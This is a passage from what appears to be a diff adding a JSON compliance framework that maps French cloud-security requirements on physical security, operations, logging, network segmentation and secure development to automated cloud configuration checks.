d'acces physique reposant au moins sur un facteur personnel : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour mettre en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones privees un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones privees en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone privee. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone privee par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones privees. 11.2.2. Zones sensibles : a) Le prestataire doit proteger les zones sensibles contre les acces non autorises. Pour ce faire, il doit mettre en oeuvre un controle d'acces physique reposant au moins sur deux facteurs personnels : la connaissance d'un secret, la detention d'un objet ou la biometrie. b) Il est recommande que le prestataire respecte les recommandations de [G_CVAP] pour la mise en oeuvre du controle d'acces physique. c) Le prestataire doit definir et documenter des mesures d'acces physique derogatoires en cas d'urgence. d) Le prestataire doit afficher a l'entree des zones sensibles un avertissement relatif aux limites et conditions d'acces a ces zones. e) Le prestataire doit definir et documenter les plages horaires et conditions d'acces aux zones sensibles en fonction des profils des intervenants. f) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de s'assurer que les visiteurs sont systematiquement accompagnes par le prestataire lors de leurs acces et sejours en zone sensible. Le prestataire doit conserver une trace de l'identite des visiteurs conformement a la legislation et reglementation en vigueur. g) En cas d'intervention (actions de diagnostic, de maintenance, ou d'administration) en zone sensible par un tiers visiteur, le prestataire doit faire superviser (suivre, autoriser, interdire, questionner) les actions par un personnel ayant satisfait aux verifications de l'exigence 7.1.b. h) Le prestataire doit documenter et mettre en oeuvre des mecanismes de surveillance et de detection des acces non autorises aux zones sensibles. i) Le prestataire doit mettre en place une journalisation des acces physiques aux zones sensibles. Il doit effectuer une revue de ces journaux au moins mensuellement. j) Le prestataire doit mettre en oeuvre les moyens garantissant qu'aucun acces direct n'existe entre une zone publique et une zone sensible." + } + ], + "Checks": [] + }, + { + "Id": "11.3", + "Description": "Des mesures de protection contre les menaces exterieures et environnementales, telles que les catastrophes naturelles, les attaques malveillantes ou les accidents, doivent etre concues et appliquees.", + "Name": "Protection contre les menaces exterieures et environnementales", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de minimiser les risques inherents aux sinistres physiques (incendie, degat des eaux, etc.) et naturels (risques climatiques, inondations, seismes, etc.). b) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de limiter les risques de depart et de propagation de feu ainsi que les risques de degat des eaux. c) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de prevenir et limiter les consequences d'une coupure d'alimentation electrique et permettre une reprise du service conformement aux exigences de disponibilite du service definies dans la convention de service. d) Le prestataire doit documenter et mettre en oeuvre les moyens permettant de maintenir des conditions de temperature et d'humidite adaptees aux equipements. De plus, il doit mettre en oeuvre des mesures permettant de prevenir les pannes de climatisation et d'en limiter les consequences. e) Le prestataire doit documenter et mettre en oeuvre des controles et tests reguliers des equipements de detection et de protection physique." + } + ], + "Checks": [] + }, + { + "Id": "11.4", + "Description": "Des mesures de securite physique pour le travail dans les zones privees et sensibles doivent etre concues et appliquees.", + "Name": "Travail dans les zones privees et sensibles", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit integrer les elements de securite physique dans la politique de securite et l'appreciation des risques conformement au niveau de securite requis par la categorie de la zone. b) Le prestataire doit documenter et mettre en oeuvre des procedures relatives au travail en zones privees et sensibles. Il doit communiquer ces procedures aux intervenants concernes." + } + ], + "Checks": [] + }, + { + "Id": "11.5", + "Description": "Les points d'acces tels que les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux doivent etre controles.", + "Name": "Zones de livraison et de chargement", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Les zones de livraison et de chargement et les autres points par lesquels des personnes non autorisees peuvent penetrer dans les locaux sans etre accompagnees sont considerees comme des zones publiques. b) Le prestataire doit isoler les points d'acces de ces zones vers les zones privees et sensibles, de facon a eviter les acces non autorises, ou a defaut, implementer des mesures compensatoires permettant d'assurer le meme niveau de securite." + } + ], + "Checks": [] + }, + { + "Id": "11.6", + "Description": "Le cablage electrique et de telecommunications transportant des donnees ou supportant des services d'information doit etre protege contre les interceptions, les interferences ou les dommages.", + "Name": "Securite du cablage", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de proteger le cablage electrique et de telecommunication des dommages physiques et des possibilites d'interception. b) Le prestataire doit etablir et tenir a jour un plan de cablage. c) Il est recommande que le prestataire mette en oeuvre des mesures permettant d'identifier les cables (par exemple code couleur, etiquette, etc.) afin d'en faciliter l'exploitation et limiter les erreurs de manipulation." + } + ], + "Checks": [] + }, + { + "Id": "11.7", + "Description": "Les materiels doivent etre entretenus correctement pour garantir leur disponibilite permanente et leur integrite.", + "Name": "Maintenance des materiels", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements du systeme d'information du service heberges en zones privees et sensibles sont compatibles avec les exigences de confidentialite et de disponibilite du service definies dans la convention de service. b) Le prestataire doit souscrire des contrats de maintenance permettant de disposer des mises a jour de securite des logiciels installes sur les equipements du systeme d'information du service. c) Le prestataire doit s'assurer que les supports ne peuvent etre retournes a un tiers que si les donnees du commanditaire y sont stockees chiffrees conformement au chapitre 10.1 ou ont prealablement ete detruites a l'aide d'un mecanisme d'effacement securise par reecriture de motifs aleatoires. d) Le prestataire doit documenter et mettre en oeuvre des mesures permettant de s'assurer que les conditions d'installation, de maintenance et d'entretien des equipements techniques annexes (alimentation electrique, climatisation, incendie, etc.) sont compatibles avec les exigences de disponibilite du service definies dans la convention de service." + } + ], + "Checks": [] + }, + { + "Id": "11.8", + "Description": "Les materiels, les informations ou les logiciels ne doivent pas etre sortis des locaux du prestataire sans autorisation prealable.", + "Name": "Sortie des actifs", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de transfert hors site de donnees du commanditaire, equipements et logiciels. Cette procedure doit necessiter que la direction du prestataire donne son autorisation ecrite. Dans tous les cas, le prestataire doit mettre en oeuvre les moyens permettant de garantir que le niveau de protection en confidentialite et en integrite des actifs durant leur transport est equivalent a celui sur site." + } + ], + "Checks": [] + }, + { + "Id": "11.9", + "Description": "Tous les composants des equipements contenant des supports de stockage doivent etre verifies pour s'assurer que toute donnee sensible et tout logiciel sous licence ont ete supprimes ou ecrases de facon securisee avant leur mise au rebut ou leur reutilisation.", + "Name": "Recyclage securise du materiel", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des moyens permettant d'effacer de maniere securisee par reecriture de motifs aleatoires tout support de donnees mis a disposition d'un commanditaire. Si l'espace de stockage est chiffre dans le cadre de l'exigence 10.1.a), l'effacement peut etre realise par un effacement securise de la cle de chiffrement." + } + ], + "Checks": [] + }, + { + "Id": "11.10", + "Description": "Le materiel en attente d'utilisation doit etre protege de maniere adequate.", + "Name": "Materiel en attente d'utilisation", + "Attributes": [ + { + "Section": "11. Securite physique et environnementale", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de protection du materiel en attente d'utilisation." + } + ], + "Checks": [] + }, + { + "Id": "12.1", + "Description": "Les procedures d'exploitation doivent etre documentees et mises a disposition de tous les utilisateurs concernes.", + "Name": "Procedures d'exploitation documentees", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter les procedures d'exploitation, les tenir a jour et les rendre accessibles au personnel concerne." + } + ], + "Checks": [] + }, + { + "Id": "12.2", + "Description": "Les changements apportes au systeme d'information du prestataire, aux processus metier, aux moyens de traitement de l'information et aux systemes qui ont une incidence sur la securite de l'information doivent etre geres.", + "Name": "Gestion des changements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion des changements apportes aux systemes et moyens de traitement de l'information. b) Le prestataire doit documenter et mettre en oeuvre une procedure permettant, en cas d'operations realisees par le prestataire et pouvant avoir un impact sur la securite ou la disponibilite du service, de communiquer au plus tot a l'ensemble de ses commanditaires les informations suivantes : la date et l'heure programmees du debut et de la fin des operations ; la nature des operations ; les impacts sur la securite ou la disponibilite du service ; le contact au sein du prestataire. c) Dans le cadre d'un service PaaS, le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur des elements logiciels sous sa responsabilite des lors que la compatibilite complete ne peut etre assuree. d) Le prestataire doit informer au plus tot le commanditaire de toute modification a venir sur les elements du service des lors qu'elle est susceptible d'occasionner une perte de fonctionnalite pour le commanditaire." + } + ], + "Checks": [ + "cloudguard_enabled", + "audit_log_retention_period_365_days" + ] + }, + { + "Id": "12.3", + "Description": "Les environnements de developpement, de test et d'exploitation doivent etre separes pour reduire les risques d'acces non autorise ou de changements non souhaites dans l'environnement d'exploitation.", + "Name": "Separation des environnements de developpement, de test et d'exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures permettant de separer physiquement les environnements lies a la production du service des autres environnements, dont les environnements de developpement." + } + ], + "Checks": [ + "identity_non_root_compartment_exists", + "identity_no_resources_in_root_compartment" + ] + }, + { + "Id": "12.4", + "Description": "Des mesures de detection, de prevention et de recuperation conjuguees a une sensibilisation des utilisateurs doivent etre mises en oeuvre pour proteger le systeme d'information contre les codes malveillants.", + "Name": "Mesures contre les codes malveillants", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre les mesures de detection, de prevention et de restauration pour se proteger des codes malveillants. Le perimetre d'application de cette exigence sur le systeme d'information du service doit necessairement contenir les postes utilisateurs sous la responsabilite du prestataire et les flux entrants sur ce meme systeme d'information. b) Le prestataire doit documenter et mettre en oeuvre une sensibilisation de ses employes aux risques lies aux codes malveillants et aux bonnes pratiques pour reduire l'impact d'une infection." + } + ], + "Checks": [ + "cloudguard_enabled", + "events_rule_cloudguard_problems" + ] + }, + { + "Id": "12.5", + "Description": "Des copies de sauvegarde des informations, des logiciels et des images systeme doivent etre effectuees et testees regulierement conformement a une politique de sauvegarde convenue.", + "Name": "Sauvegarde des informations", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "objectstorage", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de sauvegarde et de restauration des donnees sous sa responsabilite dans le cadre du service. Cette politique doit prevoir une sauvegarde quotidienne de l'ensemble des donnees (informations, logiciels, configurations, etc.) sous la responsabilite du prestataire dans le cadre du service. b) Le prestataire doit documenter et mettre en oeuvre des mesures de protection des sauvegardes conformement a la politique de controle d'acces (voir chapitre 9). Cette politique doit prevoir une revue mensuelle des traces d'acces aux sauvegardes. c) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester regulierement la restauration des sauvegardes. d) Le prestataire doit localiser les sauvegardes a une distance suffisante des equipements principaux en coherence avec les resultats de l'appreciation de risques et permettant de faire face a des sinistres majeurs. Les sauvegardes sont assujetties aux memes exigences de localisation que les donnees operationnelles. Le ou les sites de sauvegarde sont assujettis aux memes exigences de securite que le site principal, en particulier celles listees aux chapitres 8 et 11. Les communications entre site principal et site de sauvegarde doivent etre protegees par chiffrement, conformement aux exigences du chapitre 10." + } + ], + "Checks": [ + "objectstorage_bucket_versioning_enabled" + ] + }, + { + "Id": "12.6", + "Description": "Des journaux d'evenements enregistrant les activites des utilisateurs, les exceptions, les defaillances et les evenements de securite de l'information doivent etre crees, tenus a jour et regulierement revus.", + "Name": "Journalisation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "audit", + "Type": "Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une politique de journalisation incluant au minimum les elements suivants : la liste des sources de collecte ; la liste des evenements a journaliser par source ; l'objet de la journalisation par evenement ; la frequence de la collecte et base de temps utilisee ; la duree de retention locale et centralisee ; les mesures de protection des journaux (dont chiffrement et duplication) ; la localisation des journaux. b) Le prestataire doit generer et collecter les evenements suivants : les activites des utilisateurs liees a la securite de l'information ; la modification des droits d'acces dans le perimetre de sa responsabilite ; les evenements issus des mecanismes de lutte contre les codes malveillants (voir chapitre 12.4) ; les exceptions ; les defaillances ; tout autre evenement lie a la securite de l'information. c) Le prestataire doit conserver les evenements issus de la journalisation pendant une duree minimale de six mois sous reserve du respect des exigences legales et reglementaires. d) Le prestataire doit fournir, sur demande d'un commanditaire, l'ensemble des evenements le concernant. e) Il est recommande que le systeme de journalisation mis en place par le prestataire respecte les recommandations de [NT_JOURNAL]." + } + ], + "Checks": [ + "audit_log_retention_period_365_days", + "events_rule_iam_group_changes", + "events_rule_iam_policy_changes", + "events_rule_identity_provider_changes", + "events_rule_idp_group_mapping_changes", + "events_rule_local_user_authentication", + "events_rule_network_gateway_changes", + "events_rule_network_security_group_changes", + "events_rule_route_table_changes", + "events_rule_security_list_changes", + "events_rule_user_changes", + "events_rule_vcn_changes", + "network_vcn_subnet_flow_logs_enabled", + "objectstorage_bucket_logging_enabled" + ] + }, + { + "Id": "12.7", + "Description": "Les moyens de journalisation et les informations journalisees doivent etre proteges contre les risques de falsification et les acces non autorises.", + "Name": "Protection de l'information journalisee", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "audit", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit proteger les equipements de journalisation et les evenements journalises contre les atteintes a leur disponibilite, integrite ou confidentialite, conformement au chapitre 3.2 de [NT_JOURNAL]. b) Le prestataire doit gerer le dimensionnement de l'espace de stockage de l'ensemble des equipements hebergeant une ou plusieurs sources de collecte afin de permettre la conservation locale des evenements journalises prevue par la politique de journalisation des evenements. Cette gestion du dimensionnement doit prendre en compte les evolutions du systeme d'information. c) Le prestataire doit transferer les evenements journalises en assurant leur protection en confidentialite et en integrite, sur un ou plusieurs serveurs centraux dedies et doit les stocker sur une machine physique distincte de celle qui les a generes. d) Le prestataire doit mettre en place une sauvegarde des evenements collectes suivant une politique adaptee. e) Le prestataire doit executer les processus de journalisation et de collecte des evenements avec des comptes disposant de privileges necessaires et suffisants et doit limiter l'acces aux evenements journalises conformement a la politique de controle d'acces (voir chapitre 9.1)." + } + ], + "Checks": [ + "audit_log_retention_period_365_days", + "objectstorage_bucket_encrypted_with_cmk", + "objectstorage_bucket_not_publicly_accessible" + ] + }, + { + "Id": "12.8", + "Description": "Les horloges de tous les systemes de traitement de l'information pertinents d'un organisme ou d'un domaine de securite doivent etre synchronisees sur une source de reference temporelle unique.", + "Name": "Synchronisation des horloges", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une synchronisation des horloges de l'ensemble des equipements sur une ou plusieurs sources de temps internes coherentes entre elles. Ces sources pourront elles-memes etre synchronisees sur plusieurs sources fiables externes, sauf pour les reseaux isoles. b) Le prestataire doit mettre en place l'horodatage de chaque evenement journalise." + } + ], + "Checks": [] + }, + { + "Id": "12.9", + "Description": "Les evenements de securite doivent etre analyses et correles afin de detecter les incidents de securite. Des systemes de detection et de correlation doivent etre mis en oeuvre.", + "Name": "Analyse et correlation des evenements", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une infrastructure permettant l'analyse et la correlation des evenements enregistres par le systeme de journalisation afin de detecter les evenements susceptibles d'affecter la securite du systeme d'information du service, en temps reel ou a posteriori pour des evenements remontant jusqu'a six mois. b) Il est recommande de s'appuyer sur le referentiel d'exigences des prestataires de detection d'incidents de securite [PDIS] pour la mise en place et l'exploitation de l'infrastructure d'analyse et de correlation des evenements. c) Le prestataire doit acquitter les alarmes remontees par l'infrastructure d'analyse et de correlation des evenements au moins quotidiennement." + } + ], + "Checks": [ + "cloudguard_enabled", + "events_rule_cloudguard_problems", + "events_notification_topic_and_subscription_exists", + "events_rule_iam_group_changes", + "events_rule_iam_policy_changes", + "events_rule_user_changes", + "events_rule_vcn_changes", + "events_rule_network_gateway_changes", + "events_rule_route_table_changes", + "events_rule_security_list_changes", + "events_rule_network_security_group_changes" + ] + }, + { + "Id": "12.10", + "Description": "Des regles regissant l'installation de logiciels par les utilisateurs doivent etre etablies et mises en oeuvre. Les systemes doivent etre geres de maniere centralisee et les correctifs appliques regulierement.", + "Name": "Installation de logiciels sur des systemes en exploitation", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de controler l'installation de logiciels sur les equipements du systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de gestion de la configuration des environnements logiciels mis a la disposition du commanditaire, notamment pour leur maintien en condition de securite. c) Le prestataire doit fournir une capacite d'inspection et de suppression, si necessaire, des entrants (controle de l'authenticite et de l'innocuite des mises a jour, controle de l'innocuite des outils fournis, etc.) relatifs au perimetre de l'infrastructure technique : cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les entrants doivent etre traites sur des dispositifs specifiques operes et maintenus par le prestataire et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [] + }, + { + "Id": "12.11", + "Description": "Les informations sur les vulnerabilites techniques des systemes d'information utilises doivent etre obtenues en temps voulu, l'exposition du prestataire a ces vulnerabilites doit etre evaluee et les mesures appropriees doivent etre prises pour traiter le risque associe.", + "Name": "Gestion des vulnerabilites techniques", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre un processus de veille permettant de gerer les vulnerabilites techniques des logiciels et des systemes utilises dans le systeme d'information du service. b) Le prestataire doit evaluer son exposition a ces vulnerabilites en les incluant dans l'appreciation des risques et appliquer les mesures de traitement du risque adaptees." + } + ], + "Checks": [ + "cloudguard_enabled" + ] + }, + { + "Id": "12.12", + "Description": "L'administration des systemes d'information du service cloud doit etre effectuee de maniere securisee via des canaux dedies et des protocoles securises.", + "Name": "Administration", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure obligeant les administrateurs sous sa responsabilite a utiliser des terminaux dedies pour la realisation exclusive des taches d'administration, en accord avec le chapitre 4.1 intitule 'poste et reseau d'administration' de [NT_ADMIN]. Il doit les maitriser et les maintenir a jour. b) Le prestataire doit mettre en place des mesures de durcissement de la configuration des terminaux utilises pour les taches d'administration, notamment celles du chapitre 4.2 intitule 'securisation du socle' de [NT_ADMIN]. c) Lorsque le prestataire autorise une situation de mobilite pour les administrateurs sous sa responsabilite, il doit l'encadrer par une politique documentee. La solution mise en oeuvre doit assurer que le niveau de securite de cette situation de mobilite est au moins equivalent au niveau de securite hors situation de mobilite (voir chapitres 9.6 et 9.7). Cette solution doit notamment inclure : l'utilisation d'un tunnel chiffre, non debrayable et non contournable, pour l'ensemble des flux (voir chapitre 10.2) ; le chiffrement integral du disque (voir chapitre 10.1)." + } + ], + "Checks": [] + }, + { + "Id": "12.13", + "Description": "Le telediagnostic et la telemaintenance des composants de l'infrastructure doivent etre encadres par des procedures de securite specifiques.", + "Name": "Telediagnostic et telemaintenance des composants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "general", + "Type": "Manual", + "Comment": "a) Dans le cadre du telediagnostic ou de la telemaintenance de composants de l'infrastructure, considerant les risques d'atteinte a la confidentialite des donnees des commanditaires, le prestataire doit : verifier que la personne a qui l'acces doit etre autorise a satisfait aux verifications de l'exigence 7.1.b ; dans le cas d'une intervention realisee par une personne n'ayant pas satisfait aux verifications de l'exigence 7.1.b, mettre en oeuvre une passerelle securisee (poste de rebond) par laquelle la personne devra se connecter et permettant une supervision des actions (autorisation ou interdiction des actions, demande d'explications, etc.) en temps reel, par une personne ayant elle-meme satisfait aux verifications de l'exigence 7.1.b. La passerelle securisee devra repondre aux objectifs de securite specifies dans [G_EXT] ; considerer les actions menees, une fois l'acces autorise, comme des actions d'administration et les journaliser comme telles ; supprimer l'autorisation d'acces a l'issue de l'intervention." + } + ], + "Checks": [] + }, + { + "Id": "12.14", + "Description": "Les flux sortants de l'infrastructure du service cloud doivent etre surveilles afin de detecter et de prevenir les exfiltrations de donnees et les communications non autorisees.", + "Name": "Surveillance des flux sortants de l'infrastructure", + "Attributes": [ + { + "Section": "12. Securite liee a l'exploitation", + "Service": "network", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit fournir une capacite d'inspection et de suppression des sortants de l'infrastructure technique relatifs au perimetre du service (informations de facturation, les eventuels journaux necessaires au traitement d'incidents, etc.) : les sortants doivent pouvoir etre expurges des donnees pouvant porter atteinte a la confidentialite des donnees des commanditaires ; cette capacite d'inspection et de suppression doit generer des journaux d'activite et doit pouvoir faire l'objet d'un audit de code ; les sortants sont traites sur des dispositifs specifiques operes et maintenus par le prestataire, et heberges dans une zone cloisonnee du reste de l'infrastructure (du type zone demilitarisee telle que definie dans [G_INT])." + } + ], + "Checks": [ + "network_vcn_subnet_flow_logs_enabled" + ] + }, + { + "Id": "13.1", + "Description": "Le prestataire doit etablir et maintenir une cartographie complete et a jour de son systeme d'information, incluant les reseaux, les flux et les composants.", + "Name": "Cartographie du systeme d'information", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit etablir et tenir a jour une cartographie du systeme d'information du service, en lien avec l'inventaire des actifs (voir chapitre 8.1), comprenant au minimum les elements suivants : la liste des ressources materielles ou virtualisees ; les noms et fonctions des applications, supportant le service ; le schema d'architecture reseau au niveau 3 du modele OSI sur lequel les points nevralgiques sont identifies : les points d'interconnexions, notamment avec les reseaux tiers et publics ; les reseaux, sous-reseaux, notamment les reseaux d'administration ; les equipements assurant des fonctions de securite (filtrage, authentification, chiffrement, etc.) ; les serveurs hebergeant des donnees ou assurant des fonctions sensibles ; la matrice des flux reseau autorises en precisant : leur description technique (services, protocoles et ports) ; la justification metier ou d'infrastructure technique ; le cas echeant, lorsque des services, protocoles ou ports reputes non surs sont utilises, les mesures compensatoires mises en place, dans la logique de defense en profondeur. b) Le prestataire doit reviser au moins annuellement la cartographie." + } + ], + "Checks": [ + "cloudguard_enabled", + "network_vcn_subnet_flow_logs_enabled" + ] + }, + { + "Id": "13.2", + "Description": "Les reseaux doivent etre cloisonnes et les flux entre les segments doivent etre filtres selon le principe du moindre privilege. Les groupes de securite et les listes de controle d'acces reseau doivent etre configures de maniere restrictive.", + "Name": "Cloisonnement des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "network", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre, pour le systeme d'information du service, les mesures de cloisonnement (logique, physique ou par chiffrement) pour separer les flux reseau selon : la sensibilite des informations transmises ; la nature des flux (production, administration, supervision, etc.) ; le domaine d'appartenance des flux (des commanditaires - avec distinction par commanditaire ou ensemble de commanditaires, du prestataire, des tiers, etc.) ; le domaine technique (traitement, stockage, etc.). b) Le prestataire doit cloisonner, physiquement ou par chiffrement, tous les flux de donnees internes au systeme d'information du service vis-a-vis de tout autre systeme d'information. Lorsque ce cloisonnement est realise par chiffrement, il est realise en accord avec les exigences du chapitre 10.2. c) Dans le cas ou le reseau d'administration de l'infrastructure technique ne fait pas l'objet d'un cloisonnement physique, les flux d'administration doivent transiter dans un tunnel chiffre, en accord avec les exigences du chapitre 10.2. d) Le prestataire doit mettre en place et configurer un pare-feu applicatif pour proteger les interfaces d'administration destinees a ses commanditaires et exposees sur un reseau public. e) Le prestataire doit mettre en oeuvre sur l'ensemble des interfaces d'administration et de supervision de l'infrastructure technique du service un mecanisme de filtrage n'autorisant que les connexions legitimes identifiees dans la matrice des flux autorises." + } + ], + "Checks": [ + "network_default_security_list_restricts_traffic", + "network_security_group_ingress_from_internet_to_ssh_port", + "network_security_group_ingress_from_internet_to_rdp_port", + "network_security_list_ingress_from_internet_to_ssh_port", + "network_security_list_ingress_from_internet_to_rdp_port", + "network_vcn_subnet_flow_logs_enabled" + ] + }, + { + "Id": "13.3", + "Description": "Les reseaux doivent etre surveilles de maniere continue afin de detecter les activites anormales ou malveillantes.", + "Name": "Surveillance des reseaux", + "Attributes": [ + { + "Section": "13. Securite des communications", + "Service": "network", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit disposer une ou plusieurs sondes de detection d'incidents de securite sur le systeme d'information du service. Ces sondes doivent notamment permettre la supervision de chacune des interconnexions du systeme d'information du service avec des systemes d'information tiers et des reseaux publics. Ces sondes doivent etre des sources de collecte pour l'infrastructure d'analyse et de correlation des evenements (voir chapitre 12.9)." + } + ], + "Checks": [ + "cloudguard_enabled", + "network_vcn_subnet_flow_logs_enabled" + ] + }, + { + "Id": "14.1", + "Description": "Des regles de developpement securise des logiciels et des systemes doivent etre etablies et appliquees au sein du prestataire.", + "Name": "Politique de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre des regles de developpement securise des logiciels et des systemes, et les appliquer aux developpements internes. b) Le prestataire doit documenter et mettre en oeuvre une formation adaptee en developpement securise aux employes concernes." + } + ], + "Checks": [] + }, + { + "Id": "14.2", + "Description": "Les changements apportes aux systemes dans le cycle de developpement doivent etre geres a l'aide de procedures formelles de controle des changements.", + "Name": "Procedures de controle des changements de systeme", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "cloudguard", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure de controle des changements apportes au systeme d'information du service. b) Le prestataire doit documenter et mettre en oeuvre une procedure de validation des changements apportes au systeme d'information du service sur un environnement de pre-production avant leur mise en production. c) Le prestataire doit conserver un historique des versions des logiciels et des systemes (developpements internes ou externes, produits commerciaux) mis en oeuvre pour permettre de reconstituer, le cas echeant dans un environnement de test, un environnement complet tel qu'il etait mis en oeuvre a une date donnee. La duree de conservation de cet historique doit etre en accord avec celle des sauvegardes (voir chapitre 12.5)." + } + ], + "Checks": [ + "cloudguard_enabled", + "audit_log_retention_period_365_days" + ] + }, + { + "Id": "14.3", + "Description": "Lorsque les plateformes d'exploitation sont modifiees, les applications critiques metier doivent etre revues et testees afin de verifier qu'il n'y a pas d'effet indesirable sur l'activite ou la securite du prestataire.", + "Name": "Revue technique des applications apres changement apporte a la plateforme d'exploitation", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de tester, prealablement a leur mise en production, l'ensemble des applications afin de verifier l'absence de tout effet indesirable sur l'activite ou sur la securite du service." + } + ], + "Checks": [] + }, + { + "Id": "14.4", + "Description": "Les environnements de developpement doivent etre securises et isoles des environnements de production.", + "Name": "Environnement de developpement securise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "identity", + "Type": "Partially Automated", + "Comment": "a) Le prestataire doit mettre en oeuvre un environnement securise de developpement permettant de gerer l'integralite du cycle de developpement du systeme d'information du service. b) Le prestataire doit prendre en compte les environnements de developpement dans l'appreciation des risques et en assurer la protection conformement au present referentiel." + } + ], + "Checks": [ + "identity_non_root_compartment_exists", + "identity_no_resources_in_root_compartment" + ] + }, + { + "Id": "14.5", + "Description": "Le prestataire doit superviser et surveiller l'activite de developpement externalise du systeme.", + "Name": "Developpement externalise", + "Attributes": [ + { + "Section": "14. Acquisition, developpement et maintenance des systemes d'information", + "Service": "general", + "Type": "Manual", + "Comment": "a) Le prestataire doit documenter et mettre en oeuvre une procedure permettant de superviser et de controler l'activite de developpement externalise des logiciels et des systemes. Cette procedure doit s'assurer que l'activite de developpement externalise soit conforme a la politique de developpement securise du prestataire et permette d'atteindre un niveau de securite du developpement externe equivalent a celui d'un developpement interne (voir exigence 14.1 a))." + } + ], + "Checks": [] + }, + { + "Id": "14.6", + "Description": "Des tests de securite et de conformite doivent etre 